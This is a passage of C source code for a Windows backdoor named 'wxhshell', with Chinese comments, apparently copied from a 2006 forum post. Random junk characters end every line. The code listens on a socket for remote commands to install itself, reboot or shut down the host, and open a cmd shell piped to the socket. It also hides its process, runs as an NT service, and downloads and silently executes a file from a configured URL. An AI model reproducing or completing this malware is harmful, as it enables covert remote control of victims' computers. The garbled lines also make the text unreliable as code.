  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2GigeN|1N  
  } T|$tQgY^  
  else { l9%ckC*q  
ZZ}HgPZ  
    switch(cmd[0]) { B|^=2 >8s  
  P"Q6wdm  
  // 帮助 dZkKAK:v  
  case '?': { 1'&HmBfcb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H2g#'SK@  
    break; {P?p*2J'  
  } k'"R;^~xg  
  // 安装 X+\=dhn69  
  case 'i': { n|.>41bJ  
    if(Install()) 9O&MsTmg$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jCu=l_  
    else W`#E[g?]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %,8 "cM`D  
    break; 9QF,ynE  
    } s}gdi  
  // 卸载 HN;f~EQT  
  case 'r': { gi_f8RP=2a  
    if(Uninstall()) H%>cpwa[7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /sB,)> X  
    else 2jQ?-/Q8#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@bmm]  
    break; d_V7w4lK  
    } v~dUH0P<>e  
  // 显示 wxhshell 所在路径 F CfU=4O  
  case 'p': { W-1Ub |8C  
    char svExeFile[MAX_PATH]; 9-=kVmT&g  
    strcpy(svExeFile,"\n\r"); |M?VmG/6  
      strcat(svExeFile,ExeFile); m aQDD*  
        send(wsh,svExeFile,strlen(svExeFile),0); rc{F17~vX  
    break; oB!-JX9  
    } bM W}.v!  
  // 重启 *$t=Lh  
  case 'b': { 7W/55ZTmJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1OK~*=/4  
    if(Boot(REBOOT)) XS0NjZW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}" KAa  
    else { )Y1+F,C  
    closesocket(wsh); ,I f9w$(z  
    ExitThread(0); W\ARCcTQ  
    } 1$yS Ii  
    break; VRv.H8^{  
    } t<p4H^  
  // 关机 XPi5E"  
  case 'd': { NQbgk+&wD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Es:oXA  
    if(Boot(SHUTDOWN)) EF6"PH+J@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m FC9\   
    else { <;Td8T;  
    closesocket(wsh); ,UT :wpc^i  
    ExitThread(0); ~05(92bK  
    } gln X C  
    break; ^S(["6OJ(  
    } .X4UDZQg  
  // 获取shell y 0fI7:e3  
  case 's': { nhq,Y0YH  
    CmdShell(wsh); eGrxS;NY  
    closesocket(wsh); Xr|e%]!**  
    ExitThread(0); h4>q~&Pd  
    break; Y-"7R>^I  
  } q+67Wc=  
  // 退出 g.Kyfs4`  
  case 'x': { !xC IvKW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c=:A/z{  
    CloseIt(wsh); PtKrks|y  
    break; A$J?-  
    } LaIH3!M3  
  // 离开 GmN~e*x>p  
  case 'q': { m&6I@S2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W^9=z~-h  
    closesocket(wsh); kkV* #IZ  
    WSACleanup(); Z9I ?j1K|!  
    exit(1); .|J-(J<>[.  
    break; >D$NEO^  
        } 4g/Ly8  
  } lJ4&kF=t  
  } B}ASZYpW>  
3%V VG~[  
  // 提示信息 1GgG9I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V7Mp<x%  
} 6Y= MW{=F  
  } `SESj)W(y  
6:Zd,N=  
  return; l$!g# ?w  
} oIY@xuj  
ca!x{,Cvnj  
// shell模块句柄 naW!Mga  
int CmdShell(SOCKET sock) v0~*?m4  
{ @{^6_n+gT%  
STARTUPINFO si; rt!Uix&  
ZeroMemory(&si,sizeof(si)); l*4_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CEb al\R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6%UhP;(  
PROCESS_INFORMATION ProcessInfo; [yfi:|n1  
char cmdline[]="cmd"; qRA ,-N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xcu:'7'K[  
  return 0; 0VlB7oF  
} y{uN+QS  
vEb_z[gd  
// 自身启动模式 \_zp4Xb2  
int StartFromService(void) ! ^U!T\qDi  
{ ]g0\3A  
typedef struct \bWo"Yo  
{ }^3ICwzm  
  DWORD ExitStatus; dI9u: -  
  DWORD PebBaseAddress; dpcFS0  
  DWORD AffinityMask; 0RGSv!w  
  DWORD BasePriority; f{u3RCfX~2  
  ULONG UniqueProcessId; ejPK-jxCa/  
  ULONG InheritedFromUniqueProcessId; )3KQ QGi8  
}   PROCESS_BASIC_INFORMATION; "DNiVL.  
yBwCFn.uP-  
PROCNTQSIP NtQueryInformationProcess; r081.<  
&o*f*(C2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [H2"z\\u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g6T /k7a  
1W2hd!J7C  
  HANDLE             hProcess; {nlqQ.jO  
  PROCESS_BASIC_INFORMATION pbi; x*z$4)RP  
92K#xM/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \A9hYTC)  
  if(NULL == hInst ) return 0; p4'Qki8Hd  
h; 8^vB y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $P%b?Y/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f^[:w1X$sM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3XomnL{  
#i~2C@]  
  if (!NtQueryInformationProcess) return 0; hA_Y@&=W  
By-A1|4Cp`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !9JK95;  
  if(!hProcess) return 0; nd1%txIsr  
ZSg["`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `(7HFq<N  
7IH^5r  
  CloseHandle(hProcess); 3[O;HS3|  
%o9;jX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /SDDCZ`;|c  
if(hProcess==NULL) return 0; XT 'v7  
MX{p)(HW  
HMODULE hMod; .V:H~  
char procName[255]; $x %VUms  
unsigned long cbNeeded; XQ]5W(EP  
g<r'f"^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F( Iq8DV  
r% ]^(  
  CloseHandle(hProcess); 6~j.S "  
JQ.w6aE  
if(strstr(procName,"services")) return 1; // 以服务启动 QX j4cg  
w$5#jJX\  
  return 0; // 注册表启动 zf>r@>S!L  
} }TS4D={1  
e)2s2y@zi  
// 主模块 =8F]cW'1`  
int StartWxhshell(LPSTR lpCmdLine) SXx2   
{ 7VQk$im399  
  SOCKET wsl; WhHnF*I  
BOOL val=TRUE; z rV  
  int port=0; zT5@wm  
  struct sockaddr_in door; * -Kf  
hVAP )"5  
  if(wscfg.ws_autoins) Install(); ekj@;6 d]  
J0vCi}L  
port=atoi(lpCmdLine); ~ST7@-D0  
g :me:M  
if(port<=0) port=wscfg.ws_port; 5-ju5z?=  
c_xo6+:l  
  WSADATA data; 1$g]&'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _g(4-\  
&_EjP hZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @Gj|X>0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MQv2C@K9F  
  door.sin_family = AF_INET; $m;rOKVU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KF[P /cFI  
  door.sin_port = htons(port); MH>CCT  
>dW~o_u'QN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [z1[4  
closesocket(wsl); T53|*~u  
return 1; /Af:{|'$%  
} G3&l|@5  
P'4jz&4  
  if(listen(wsl,2) == INVALID_SOCKET) { B>CG/]  
closesocket(wsl); ^sNj[%I R  
return 1; 9aE!! (E  
} y0R5YCq\":  
  Wxhshell(wsl); 8Jd\2T7h  
  WSACleanup(); tC=`J%Ik  
D:gskK+o6M  
return 0; , LP |M:  
*$ihNX]YG  
} P%6-W5<  
+ W ? / A]  
// 以NT服务方式启动 fr1/9E;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +([ iCL  
{ CmNd0S4v  
DWORD   status = 0; NiwJ$Ah~X  
  DWORD   specificError = 0xfffffff; #O< 2wMb2<  
luyU!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =jX'FNv#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ",\,lqV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4$+9Wv  
  serviceStatus.dwWin32ExitCode     = 0; FBYA d@="2  
  serviceStatus.dwServiceSpecificExitCode = 0; 75t\= 6#  
  serviceStatus.dwCheckPoint       = 0; M8 E8r  
  serviceStatus.dwWaitHint       = 0; ?2b*F Qe  
HY,+;tf2r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z2]ySyt]  
  if (hServiceStatusHandle==0) return; `2X#;{a:  
 lqO"  
status = GetLastError(); {o?+T );Z  
  if (status!=NO_ERROR) 6}YWM]c%  
{ ^&'&Y>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )vFJx[a<n`  
    serviceStatus.dwCheckPoint       = 0; wj fk >  
    serviceStatus.dwWaitHint       = 0; jrMY]Ea2`  
    serviceStatus.dwWin32ExitCode     = status; r?s,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8\BCC1K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `3Gjj&c  
    return; ,1"w2,=  
  } '[ZRWwhr  
cC.=,n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LCrE1Q%VP  
  serviceStatus.dwCheckPoint       = 0; @?A39G{  
  serviceStatus.dwWaitHint       = 0; f3>8ZB4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @iZ"I i&+  
} Xj/U~  
u; xl}  
// 处理NT服务事件,比如:启动、停止 xhAORhw#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \4RVJ[2  
{ ZI  q!ee  
switch(fdwControl) kMGK 8y  
{ &95iGL28Q  
case SERVICE_CONTROL_STOP: s }]qlg  
  serviceStatus.dwWin32ExitCode = 0; sbZ$h <  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7a@%^G @!  
  serviceStatus.dwCheckPoint   = 0; R6ynL([xh  
  serviceStatus.dwWaitHint     = 0; }U=|{@%  
  { %z6.}4h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '1lr "}"Q+  
  } 5 } 9}4e  
  return; X]J]7\4tF\  
case SERVICE_CONTROL_PAUSE: 7gR8Wr ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =(f+geA"hm  
  break; J`T1 88  
case SERVICE_CONTROL_CONTINUE: (~~*PT-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?j^[7  
  break; ESk<*-  
case SERVICE_CONTROL_INTERROGATE: lF]cUp#<  
  break; a1;P2ikuK  
}; qc}r.'p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x&6SjlDb$K  
} (vCMff/ Y1  
B/S~Jn  
// 标准应用程序主函数 -9XB.)\#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VtX9}<Ch~  
{ #On EQ:  
lP>}9^7I!  
// 获取操作系统版本 `mro2A  
OsIsNt=GetOsVer(); 8Z TN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r)P^CZm  
;}!hgyq  
  // 从命令行安装 g">E it*[  
  if(strpbrk(lpCmdLine,"iI")) Install(); K-&&%Id6R  
""[(e0oA  
  // 下载执行文件 7 tOOruiC  
if(wscfg.ws_downexe) { |s&jWM$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <$#b3F"I  
  WinExec(wscfg.ws_filenam,SW_HIDE); (U"Ub;[7  
} Y}_J@&:  
?dJ-g~  
if(!OsIsNt) { {*VCR  
// 如果时win9x,隐藏进程并且设置为注册表启动 )J?Nfi%  
HideProc(); ~n:dHK`  
StartWxhshell(lpCmdLine); j?&Rf,,%  
} {{b&l!  
else RbUhLcG5  
  if(StartFromService()) 0n25{N  
  // 以服务方式启动 0f.rjd  
  StartServiceCtrlDispatcher(DispatchTable); u~#QvA~]  
else Y$0Y_fm%  
  // 普通方式启动 yUb$EMo \  
  StartWxhshell(lpCmdLine); 'j84-U{&)  
,wJ#0?  
return 0; |1GR:b24  
}
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只看该作者 1 发表于: 2006-10-10
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